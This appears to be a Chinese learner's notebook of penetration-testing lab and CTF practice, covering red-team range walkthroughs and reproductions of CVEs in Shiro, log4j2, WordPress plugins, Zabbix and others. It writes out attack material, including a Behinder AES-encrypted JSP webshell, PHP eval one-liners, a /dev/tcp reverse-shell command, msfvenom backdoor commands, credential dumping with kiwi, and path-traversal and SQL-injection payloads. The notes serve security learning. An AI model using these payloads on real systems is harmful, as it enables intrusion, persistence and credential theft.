空闲时间的一些学习/复现/刷题
ATT&CK实战系列
红队实战(一)
目标:控制web服务器主机,进入内网拿下域控
搭建环境
偷个拓扑过来
虚拟机网络配置参考网上wp,主要是靶机扔一块,然后给win7配个网和kali通一下
机器 | ip |
---|---|
win2008 | 192.168.52.138 |
win2003 | 192.168.52.141 |
win7 | 192.168.52.143/192.168.43.139 |
kali | 192.168.43.16 |
ping一下看看连接情况(win7->2k3/2k8/kali通,kali到win7不通【防火墙】)开启win7的phpstudy
另外这边需要配置一下防火墙,把http和mysqld的通过权限都选上,设置如下:
信息收集
nmap -A 192.168.43.139
80进去之后是phpStudy探针页
里面有mysql登录的测试,然后mysql常见的弱口令root/root可以通过测试
dirb http://192.168.43.139 -r
漏洞利用
去访问phpstudy自带的phpmyadmin,发现已经默认输入好了账号密码(root/root)【这里可能是火狐自动保存了前面测试mysql的账号密码,不过phpmyadmin有相关爆破工具】
渗透内容接触很少,只想到要通过phpmyadmin操作数据库以获得权限,但不知道具体手法,这里参考了wp后主要是来学习一手利用数据库去写入后门。
方法一
感觉比较偷鸡,主要是在发现newyxcms表后确认网站使用了yxcms这个开源管理系统,于是直接访问/yxcms
并且发现了后台的账号密码【原博客指出可以通过探测 beifen.rar
检查版本,然后进一步搜索相关漏洞(毕竟是开源cms)】
进入管理后台
前台模版功能可以管理模版文件(.php文件),而且没有什么限制,这边写个一句话木马的php就行
方法二
上一种方法比较考察信息的收集和经验,这边重点复现phpMyAdmin利用日志文件getShell
首先是尝试直接用sql语句写文件
select '<?php phpinfo();?>' into outfile 'C:/phpstudy/WWW/shell.php';
(这个绝对路径可以在探针页泄露的敏感信息里找到)
SHOW VARIABLES LIKE "secure_file_priv";
可以查看相关状态,发现是NULL,即没设置允许操作的目录,无法导出到文件,简单来说就是没权限,想要获得相关权限,需要修改服务器配置(目测做不到,然后就进入正题,phpMyAdmin利用日志文件getShell)。
show variables like '%general%';
没开,然后能看到日志会被写入到这个stu1.log
的文件中,也就是说当开启时,所执行的sql语句都会出现在stu1.log文件中。那么思路就是开启功能,修改日志的保存路径,写入一句话木马。
1 | set global general_log=on; |
内网信息收集
getshell之后可以在antsword里操作web服务器主机,以收集信息进一步渗透
主要命令有:
1 | whoami |
然后从这边开始就各显神通了?感觉操作很多种,这边先看看工具吧应该会比较简单
MSF & CS 控制服务器
planA-msf
第一次接触,大致来讲msf主要是用来生成payload/后门的?
没有配置CS暂时先只用msf做马反弹shell的一系列操作,不过整体走下来感觉有点硬核,也可能是我对windows系统以及msf这一套渗透攻击还不熟悉导致的,但wp里看cs可视化操作要更方便。
生成木马并上传
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.43.225 lport=6666 -f exe -o backdoor.exe
开启监听
1 | msfconsole |
运行backdoor.exe反弹shell
失败了
能查到防火墙开着,给关了netsh advfirewall set allprofiles state off
还是失败了,看win7靶机那边是运行后直接停止工作了
重新做了一个马msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.225 lport=6666 -f exe -o backdoor.exe
成了,哦因为是混看了2个wp没发现,set payload这边是没有x64的,然后两个payload的差别无非是是否兼容x32,啊总之监听这边的payload和做的马的payload一致就好了
1 | run post/windows/gather/enum_patches#收集补丁信息 |
提权取证抓取密码
后续用kiwi获取相关信息需要system权限
1 | load kiwi |
没抓取到系统密码,看wp的说法是: 默认是加载32位的系统,所以如果目标主机是64位系统的话,需要将进程迁移到一个64位程序的进程中
1 | ps |
此时再用creds_all
就能成功抓取到系统的登录密码了
planB-cs
安装配置不多赘述
./teamserver 192.168.43.225 123456
启动客户端,然后运行Cobalt_Strike.bat
启动服务端输入密码123456
去payload里面生成windows可执行程序,然后这边需要选一个监听器,创建一下就行
然后把文件上传运行,和前面msf的做法一样,接着能看到cs里的反馈
下载导入ElevateKit
再开个监听
选择提权
成功
然后用system权限去抓取hash,然后抓取明文密码
好了,拿到了
两边都试过了,目前来看cs的优势就是功能多+可视化,然后msf比较硬核,可能熟练的情况下一些场景会更快。
进入内网
开启远程桌面
netstat -ano | findstr "3389"
发现端口没有开启
run post/windows/manage/enable_rdp
开启端口
rdesktop 192.168.43.225
远程登录
不知道为什么账号密码一直不对,改用cs,有VNC桌面交互功能,直接用就行
后面也基本是分成msf和cs两种操作走法
内网信息收集
懒人一下cs里点点点一手
扫一下52的端口
nmap也是可以扫的
138/141/143,搭建环境的时候知道这3就是域内的3个ip
另外cs自己也集成好了相关功能,有个网络探测,然后切换视图可以看到内网的几个机子
然后在这个视图下就有不少横向移动一类的功能
进入内网
看有用设置路由设置代理的方式做的,也有用cs拿全部密码然后搭隧道去做域渗透的
权限维持
方法应该是很多的,这里学习的是guest后门
1 | shell net user # 查看本机用户 |
横向移动
查看路由
arp -a
查看路由表
run autoroute -s 192.168.52.0/24
手动添加录路由;run post/multi/manage/autoroute
自动添加run autoroute -p
查看路由;
隧道搭建/设置代理
1 | bg |
proxychains4 curl http://192.168.52.143
这边需要配置一下文件sudo vim /etc/proxychains4.conf
去最后面加个socks4 127.0.0.1 1081
但是去curl还是连接不到
域渗透
改用cs去做一个扫描
然后可以在各个机器的service里看到开放的端口
psexec
感觉没打掉,msf是根据开放了445,用ms17_010打,cs也可以有类似操作
感觉后面做的有点乱,主要设置代理那边没做好,后面也不是很通顺,暂时不继续钻研了,还是接着开下一个实战吧。
红队实战(四)
搭建环境
1 | web: ubuntu:ubuntu |
Web服务器的漏洞存在于docker环境里,需要手动开启
1 | s2-045 |
借用一个网络拓扑图
思路
1.Web服务器中起了3个docker容器,其中都有漏洞,但因为在docker中,所以在利用漏洞拿到shell后还需要docker逃逸才能拿到web靶机
外网渗透
信息收集
-A去扫描
开放的4个端口为22-ssh,2001-struts2,2002-tomcat8.5.19,2003-phpmyadmin4.8.1
漏洞利用
这边应该是个3选1,只要随便一个getshell就行
s2(port2001):Struts2VulsScanTools
可以直接打
tomcat(port:2002)
8.5.19版本,CVE-2017-12615,有文件任意上传漏洞,随便抓个包然后发送PUT请求,传一个shell.jsp上去
传个能带密码的,后续可以用冰蝎连接
1 | <%import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> |
phpMyAdmin(port:2003)
4.8.1版本有任意上传和执行
docker逃逸
攻击视野里并不优先知道getshell后是在docker环境中
非docker环境一般不会有.dockerenv文件
1 | ls -alh /.dockerenv #判断根目录下是否存在 .dockerenv 文件 |
利用特权模式逃逸
管理员执行docker run —privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致可以获取大量设备文件访问权限
从s2这个洞去看磁盘文件fdisk -l
,发现根本就没有挂载磁盘文件(挂载磁盘文件为空),特权模式逃逸条件不满足,说是其他的方式也不满足,并且2001/2003两个都不行,可以尝试从2002的tomcat这个洞去逃逸
将/dev/sda1也就是(宿主机)磁盘挂在到(docker)本地的任意文件下
1 | cd /tmp |
远程连接
漏洞复现
weblogic14882+14883
CVE-2020-14882和CVE-2020-14883
14883是未授权访问,14882是任意代码执行,2个一起组合拳,就可以构造特殊的HTTP请求,在未经身份验证的情况下访问Weblogic Server Console(管理后台),并且还能执行任意代码。
越权poc:/console/css/%252e%252e%252fconsole.portal
14882有很多脚本,这边环境烂了,暂时没法上手,尬住了
Shiro 550</h1>
shiro反序列化漏洞,CVE-2016-4437
response
中若有rememberMe=deleteMe
,则表示使用了shiro框架
而bp的插件BurpShiroPassiveScan可以进行检测并报出漏洞
原理
shiro框架提供了一个记住密码功能,会在cookie中添加一段包含了用户身份信息的加密数据,该加密流程为序列化+AES+base64,验证方式则为base64+AES+反序列化。
base64和漏洞序列化其实不具备严格意义上的加密效果,加密效果主要体现在AES上,而AES安全的核心在于其密钥key不被泄露,但是shiro<=1.2.4版本中的AES都是用了固定的kPH+bIxk5D2deZiIxcaaaA==作为密钥,这就导致攻击者可以自己完成cookie的生成并在其中夹杂恶意代码。
攻击
shiro_exploit.py可以自动检测shiro框架并对密钥进行爆破,这里已经获得了key,暂时不需要。
并且有shiro_attack-2.2.jar这种综合的图形化工具可以完成后续的漏洞利用,这里暂不采取此方式。
搭建环境后用给的账号密码登录抓包看一下,能看到Cookie
添加了一串东西(如果错误账号密码就只有第一个Cookie
)
根据前面的原理,开始构造cookie获取反弹shell(可以理解为与ssh等连接方式相反,由受攻击方主动连接攻击方的服务端程序)
反弹shell,获取反弹shell的大致流程为:
攻击端开启监听,比如说nc -l 2333
,然后在被攻击端执行bash -i >& /dev/tcp/攻击ip/2333 0>&1
(通过2次重定向,将被攻击的给攻击端,再将攻击端的命令给的被攻击端),那么攻击端就会获得被攻击的shell了。
前面提到该漏洞可以让cookie夹带恶意代码,这里要做的就是夹带这串要被攻击端执行的命令。
生成rememberMe
1 | package com.crumbling; |
将结果写入Cookie重放应该就能在监听的终端看到被攻击的shell然后进行各种命令行操作了,不过同一台虚拟机作为攻击和被攻击似乎不太好监听,重新摸索一下可能要。不过大致内容就是以上了。
其他
现实的漏洞挖掘场景,可能在key上出现问题,大致思路是字典爆破,不过更合适的应该是一些自动化的测试工具,应该要比自己人工爆破要快捷。
以及用于重定向的’>’’<’可能被各种waf啊hids这样的设备检测,可以尝试利用Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)编码绕过一下
log4j2</h1>
CVE-2021-44228
log4j2是apache下的java应用常见开源日志库.JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface)允许从指定的远程服务器获取并加载对象。相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
影响版本2.0 <=log4j2 <= 2.14.1
原理
Log4j2提供的lookup功能下的 jndi Lookup模块的漏洞,该功能模块在输出日志信息时允许、通过相应的协议去请求远程主机上的资源。简单来说就是JNDI可以使用相应目录接口请求数据,并且可以远程下载一个恶意的class文件,然后加载该class文件并构建对象,最后导致攻击。
(大致就是这个意思,看了一圈感觉没有找到特别满意的)
漏洞环境
log4j2是个库啊,所以复现的基础可以直接在调用了库的web应用上实现。
复现
fastjson反序列化漏洞</h1>
fastjson是阿里开发的开源json解析库,主要作用是json字符串反序列化到JavaBean
漏洞影响<=1.2.48fastjson
复现环境为1.2.27
漏洞原理
主要是AutoType
导致的,而复现环境1.2.27版本在1.2.24后,AutoType
已经被禁用,所以需要单独开启。
@type
是fastjson
中一个特殊注解,用于表示json
字符串中某个属性是一个java对象的类型
一段@type的使用案例
1 | public class Main { |
空闲时间刷题学渗透的一点笔记
Vulnhub-渗透
Raven2
来自vulnhub的靶机,下载后导入VM即可。
网络配置,两边都是自定义VMent0,VMent0是桥接的物理机的WLAN(此情况下,可以保证攻击机kali和靶机Raven在同一网段)
开启靶机后
信息收集
没有靶机真实ip,但因为是同一网段,利用nmap可以扫到真实ip,如下:
由此可以进一步扫端口
http的80端口开放,可以直接浏览器访问,这边直接去扫一下目录
因为存在目录遍历漏洞,各个信息都可以查看,全部点过去能在/vendor/PATH
发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
(这边主要是要先发现有目录遍历漏洞才能比较有逻辑和目的性的翻找到flag)
但是靶机的flag有4个,仅仅是这样,还不算完成信息收集。比较常态的思路应该是借此寻找一下中间件与框架等,再去找有没有对应的漏洞。
/vendor/VERSION
可以看到个版本号5.2.16,在vendor/README
和vendor
下各文件的文件名可以看到PHPMailer
(一个功能齐全的PHP电子邮件创建和传输类),并且能查到这个版本是存在远程命令执行漏洞的。
漏洞利用
利用此漏洞进行反弹shell
复制一下exp,需要修改脚本的相应内容,有点不太明白为什么一定要将target
指向contact.php
运用exp
开启监听(以及让shell的交互性更好)
ctrl+z
可以暂停监听
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
访问后门test1.php
反弹shell
可以找到2个flag
find / -name "flag*" 2>/dev/null
wordpress
的配置文件中可能会带有数据库的相关设置,其中就有数据库的账号密码
登录一下mysql
UDF提权
查看mysql是否有写入文件的权限并查看版本号
show global variables like '%secure%';
Mysql版本大于5.1,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。
show variables like 'plugin%';
然后这边是手打和exp打的划分(?大概就是不拿这个exp需要去sqlmap这种找一下文件处理一下,似乎差不多
exp打就是按照之前的方法searchsploit mysql
找到对应的udf提权的exp,cp过来然后编译生成一下so文件
上传.so到靶机
攻击机开启一个web应用服务,用于配合反弹shell让靶机去下载.so文件
1 | use mysql; |
卡住了,似乎是没有权限,暂时没找到解决方案,转战HTB了,环境先留着,来日再战
HTB
配了好久的环境,真不容易
打的很不流畅,环境确实不太行,大概也跳车了,可能后面回去玩vulnhub的渗透和红日团队的红队实战系列
starting point
Meow
nmap去扫
连接一下,根据提示拿到root权限
拿到flag
Fawn
扫,-A参数,使能系统探测、版本检测、脚本扫描、路由追踪
扫描结果里能看到该ftp允许匿名登录(账号:anonymous+空密码),并且能看到里面有flag文件
连接后取下载flag.txt,然后本机就能看到flag了
Dancing
Redeemer
后面要付费了,starting point到此结束
Machines
GreenHorn
BoardLight
春秋云镜-漏洞
SQLI
CVE-2022-32991
描述:该CMS的welcome.php中存在SQL注入攻击。
根据描述,随意注册登录个账号,即可进入到/welcome.php?q=1
,这边没啥东西,sqlmap扫了一遍也没有发现问题。
搜一下CVE,可以找到基于网络的测验系统 v1.0 被发现包含…·CVE-2022-32991 ·GitHub 咨询数据库,说是eid参数,找了一下,start点进去可以跳转过去,这里就用到了eid参数
拿sqlmap--batch
嗯扫一波
结果也是能看到eid处有漏洞
1 | sqlmap identified the following injection point(s) with a total of 1104 HTTP(s) requests: |
--dbs --batch
继续
1 | available databases [4]: |
--batch -D 'ctf' --tables
1 | | admin | |
--batch -D 'ctf' -T 'flag' --columns
1 | +--------+---------------+ |
--batch -D 'ctf' -T 'flag' -C 'flag' --dump
然后就能吐出flag了
额外的一点sqlmap技巧
wp看到的,实际上来看这个环境其实不需要,但我觉得这两个需求都很合理
登录访问,使用–cookie参数使得sqlmap绕过身份验证
–user-agent参数/–random-agent使sqlmap绕过客户端验证,否则可能会被识别到sqlmap。
CVE-2022-28512
描述:Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。
没啥特点,和32991基本一致,不对赘述,免得浪费空间
CVE-2022-4230
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
WP Statistics < 13.2.9 – 经过身份验证的 SQLi |CVE 2022-4230 |插件漏洞 (wpscan.com)记录了漏洞,并且给出了复现方式。
以允许查看WP统计信息的用户身份登录,并通过获取随机数
https://example.com/wp-admin/admin-ajax.php?action=rest-nonce
,并在下面的URL中使用它,该URL将延迟5s:
http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
简单来说就是先有个普通用户的权限进入后台,然后去获得随机数,替换url的_wpnonce参数进行sql注入的测试,经过5秒后返回
表明存在漏洞,然后开始正常的一套sql注入的流程,不过这边似乎有一些检查过滤什么的,直接-u
搜不到,所以抓包之后把报文保存下来用-r
搜,是能搜到的。
因为是基于时间盲注做的,所以速度很慢,不知道sqlmap以外的工具效率如何。
CVE-2022-0784
靶场环境似乎坏了,总之渲染出来的东西排版不太对,能输入内容post的地方也没有找到注入点,看其他人对漏洞的复现情况,是直接对/wp-admin/admin-ajax.php发送post请求进行注入的
某Press核心框架WP_Query SQL注入漏洞分析(CVE-2022–21661) - 先知社区 (aliyun.com)
任意文件上传
CVE-2022-30887
描述:多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
没账号,抓个登录的包也没看到什么东西。
考验一手信息收集,只知道账号是个邮箱,是在环境里瞎点找到的,不知道有没有什么更有思路的方法。
mayuri.infospace@gmail.com
密码应该不含数字(手测含数字会提示格式错误)
没有更多的信息,长度未知弱密码也爆不出来,这边彻底卡住了,去看了一圈思路,基本上还是靠猜,密码是mayurik
登陆之后就是一个常见的管理系统,找一下有文件上传的位置(添加药品这里)。
题目有说是php所以写个php的一句话木马<?php @eval($_POST['cmd']); ?>
另外环境没什么过滤,所以没啥必要抓包重放。
后面直接antsword(测试的时候不知道哪里弄坏了环境一直连接不上,手动执行命令也没成功,重启环境后就正常了)
find / -name flag 2>/dev/null
找一手,发现flag在根目录里。
CVE-2022-28525
ED01-CMS v20180505 存在任意文件上传漏洞
注册失败,说是有默认值了,所以考虑弱密码爆破。
因为账号密码都要爆,所以用Cluster bomb模式,字典是fuzzDicts,但是这模式量太大(可能一个一个报会更合适吧,如果没有限制必须2个同时填入?),我直接去找了结果:admin/admin
其他没啥特殊,同30887
antsword报错{“address”:“127.0.0.1”,“code”:“ECONNREFUSED”,“errno”:“ECONNREFUSED”,“port”:8080,“syscall”:“connect”}
发现是代理没关,设置里改成不用代理就行。
RCE
远程代码执行漏洞
CVE-2022-25578
taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
信息收集(来自阿里云漏洞库):
taoCMS 3.0.2版本存在代码注入漏洞,该漏洞源于文件/admin/admin.php存在问题,会导致代码注入。
很显然要先去管理端,相关入口在页面下面的管理按钮,账号密码
进去之后能找到文件管理,里面有个.htaccess
文件可以编辑
这边再回过头来看htaccess文件相关的漏洞,随便一搜就能找到,大致意思是,htaccess文件是apache服务中的一个配置文件,其中呢有一个功能是可以设置当前目录(及子目录)的文件(可以制定后缀)都使用php解析。
比如写入如下:
1 | <FilesMatch "\.jpg"> |
接下来就是正常的任意文件上传漏洞的流程,只不过需要注意上传.jpg
文件
CVE-2022-23906
CMS Made Simple v2.2.15 被发现包含通过上传图片功能的远程命令执行 (RCE) 漏洞。此漏洞通过精心制作的图像文件被利用。
全英文,对英文敏感度比较低,不方便摸索,所以拿spray扫一下目录看看
找到admin和login的路径了
然后是弱口令admin/123456
找一下能上传文件的位置,在File Manager,试了一下jpg可以上传,但是php被过滤了,尝试了一下抓包在报文里改成php
也是没有成功上传,不太清楚是怎么过滤的,不好绕过。
去阿里云漏洞库里看了一眼,参考链接里CMS 变得简单 - Forge CMS简单核心 (cmsmadesimple.org)能发现复现方式。
是这个系统没设计好(应该算是Insecure Design不安全的设计),上传进去的文件点击copy可以改名成php后缀。
Antsword
CVE-2022-24663
远程代码执行漏洞,任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求,并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令
漏洞原理
PHP Everywhere是一个WordPress 插件,作用于<=2.0.3的插件版本。
没怎么找到这个漏洞的原理详解,个人理解是该插件允许通过WordPress的短代码执行php命令,又没有对此权限进行鉴权。
复现过程
又是找不到入口的一集,spray扫出来:
又是弱口令环节,test/test
,是一个低权限的账号
因为没太看懂原博客,所以找了个exp,后面是拿exp利用漏洞进行代码注入,随便找个html去写入以下代码并提交,就可以将后门写入系统了
1 | <form |
再后面就是利用hack.php这个后门去拿flag了。
有点疑惑,一来是对整个漏洞的底层逻辑有点没理解,另一个是我字符串只能成功写入,而套一层base64就能正常使用后门
CVE-2022-22965
Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
漏洞原理
影响版本
Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20
影响条件(同时满足)
- JDK 9 及以上版本
- Apache Tomcat 作为 Servlet 容器
- Spring 框架以及衍生的框架
SSRF
CVE-2022-24112
Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。 Apache APISIX中存在远程代码执行漏洞,该漏洞源于产品的batch-requests插件未对用户的批处理请求进行有效限制。攻击者可通过该漏洞绕过Admin API的IP限制,容易导致远程代码执行。
漏洞原理
batch-requests
插件可以一次接受多个请求并以 http pipeline 的方式在网关发起多个 http 请求,合并结果后再返回客户端,这在客户端需要访问多个接口时可以显著地提升请求性能。
影响版本
Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本(不包含 2.10.4)
利用条件
- batch-requests插件默认开启状态。
- 用户使用了 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API 。
攻击思路
1、利用batch-requests 插件漏洞、绕过请求头检测;
2、通过伪造请求头、向Admin API 注册路由;
3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞。
任意文件读取
CVE-2023-27179
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。
不正确的访问控制
CVE-2023-27179.txt (github.com)
URL : [http://{gdidees_root}/_admin/imgdownload.php?filename=../../../../../etc/passwd]http://{gdidees_root}/_admin/imgdownload.php?filename=../../../../../etc/passwd ( /etc/passwd 是我们要读取的文件)
GET /_admin/imgdownload.php?filename=../../../../../flag HTTP/1.1
拿到flag(下载不到东西,抓包可以在response里看到flag)
分析
GDidées - 资源中心 WEB : CMS的新功能 (gdidees.eu)官网整个3.9.1的版本来
imgdownload.php
内容如下:
1 |
|
没啥说法,主体就是一个传文件名然后下载的代码,没做鉴权和过滤导致直接访问任意文件
CVE-2022-25401/CVE-2022-34121
Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞
默认是admin/admin,但是不对,也没找到弱口令
漏洞库链接的poc404了
不过cuppa在github开源了,查issue能查到Unauthorized Arbitrary File Read vulnerability exists in CuppaCMS /administrator/templates/default/html/windows/right.php · Issue #32 · CuppaCMS/CuppaCMS (github.com)
还可以溯源到#18issue,是一个东西似乎,不过还是有cve号,但是这个和描述的url一致。
然而实际能用的是更早发现的这个issue,也就是漏洞CVE-2022-34121,没有/administratior
分析
看update时间感觉是没改过的版本,但是issue已经complete了
1 |
|
同样也是没有过滤参数,应该限定可包含的范围
其他
CVE-2023-23752
靶场里是信息泄露分类,内容也较少,所以放在其他类里
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。
漏洞原理
在Joomla受影响的版本(4.0.0 <= Joomla <= 4.2.7)中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
利用方法为路径:/api/index.php/v1/config/application?public=true
,可以拿到网站的配置信息,当然还包括其他接口,靶机的flag放在v1/users
里
拿靶机的flag只需要考虑用哪个接口就好了,但是完全理解漏洞就要考虑得多了(沟槽的鸣式)
漏洞分析 TODO
[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)_joomla渗透-CSDN博客
https://xz.aliyun.com/t/12175#toc-4
CVE-2022-23134 TODO
属于逻辑漏洞类,数少故合并至其他类
Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 存在安全漏洞,该漏洞源于在初始设置过程之后,setup.php 文件的某些步骤不仅可以由超级管理员访问,也可以由未经身份验证的用户访问。
影响版本
- 5.4.0 – 5.4.8
- 6.0.0 – 6.0.0beta1
漏洞利用
进入环境之后看到一个登录,搜一下可以找到zabbix的默认账号密码Admin/zabbix.
根据漏洞报告的漏洞描述,大致的利用方式是构造一个cookie去伪造身份访问setup.php,然后新增数据库添加新管理员
去setup.php
看一下
因为要伪造cookie,所以抓包一下看看cookie长什么样子
1 | Cookie: zbx_session=eyJzZXNzaW9uaWQiOiI5YWUxOGRhYWY5MjUyZTgwMWYwMTQyM2YwOTI1MWRmOSIsImNoZWNrX2ZpZWxkc19yZXN1bHQiOnRydWUsInN0ZXAiOjAsImRlZmF1bHRfbGFuZyI6ImVuX0dCIiwiZGVmYXVsdF90aW1lem9uZSI6InN5c3RlbSIsImRlZmF1bHRfdGhlbWUiOiJibHVlLXRoZW1lIiwic2lnbiI6IjkzaTl6K2JTQzRcL252UnpRZXlPVFlLVE1aWnZHSjB0SVwvMjRCOGd0UjhnK28yenIrUUFxd21hQmttb0diVVdSRWpkTU9xV05OSU5aNnM1cVdYMlwvcGZSWEd4dmJEd3JGMENJT3V4QWtLWXJrbkhlUE01K04rT0VJdG5nTUM1bnlaa00yaU8zWkw0RDFZV2lpWHQySllIYmpmOXJHdTUxSDY1VDFIbGlFTWNEbmpCQ1lMUmo2eHZVeVdDUlpTS3FDUEpYZU8rN0lNMElMS2t5OFUzdCtSUlF5c2hqRVFvZjVsK1NUTlYrQU4xS3c9In0%3D |
%3D
是=
盲猜一个base64
1 | {"sessionid":"9ae18daaf9252e801f01423f09251df9","check_fields_result":true,"step":0,"default_lang":"en_GB","default_timezone":"system","default_theme":"blue-theme","sign":"93i9z+bSC4\/nvRzQeyOTYKTMZZvGJ0tI\/24B8gtR8g+o2zr+QAqwmaBkmoGbUWREjdMOqWNNINZ6s5qWX2\/pfRXGxvbDwrF0CIOuxAkKYrknHePM5+N+OEItngMC5nyZkM2iO3ZL4D1YWiiXt2JYHbjf9rGu51H65T1HliEMcDnjBCYLRj6xvUyWCRZSKqCPJXeO+7IM0ILKky8U3t+RRQyshjEQof5l+STNV+AN1Kw="} |
描述指向的是部分步骤的越权问题,这边调整step,看看后面步骤都是啥,能访问到6,但是会因为连接不到数据库又回到2,然后就卡住了
看到个poc是{"sessionid":"INVALID","check_fields_result":true,"step":6,"serverCheckResult":true,"serverCheckTime":1645123704,"sign":"INVALID"}
去base64后作为cookie,重新登陆就能在首页看到flag,不过没找到具体的构造原理,还是先分析漏洞再回过头来写吧
漏洞分析 TODO
CVE-2023-38633
一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=”.?../../../../../../../../../../etc/passwd” 来读取结果。
摸不着头脑,跟着CVE号一路往上摸,这个漏洞最后指向的是XXE漏洞
CVE-2014-3529
XXE漏洞
参考
记起来的时候就把参考/学习过/有帮助的文章扔到这边来
Joomla未授权访问漏洞|CVE-2023-23752复现及修复 - 那酒不要留 - 博客园 (cnblogs.com)
【技术干货】CVE-2022-24112 Apache APISIX 远程代码执行漏洞 (qq.com)
Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721) - Bypass - 博客园 (cnblogs.com)
log4j2原理分析及漏洞复现- CVE-2021-44228 - FreeBuf网络安全行业门户
java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户
【最新漏洞预警】CVE-2022-23134 Zabbix漏洞分析之二:从未授权访问到接管后台 | CTF导航 (ctfiot.com)
Zabbix setup.php 访问权限控制不当漏洞(CVE-2022-23134) | CN-SEC 中文网
ATT&CK实战系列——红队实战(一) - 先知社区 (aliyun.com)
ATT&CK实战系列——红队实战(一)_红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客-CSDN博客
ATT&CK实战系列——红队实战(一)完整版_att&ck实战系列一红队实战(一)-CSDN博客
ATT&cK实战系列—红队实战(一) | 佩里的实验室 (ppperrypan.github.io)
ATT&CK实战 | Vulnstack 红队(一) - FreeBuf网络安全行业门户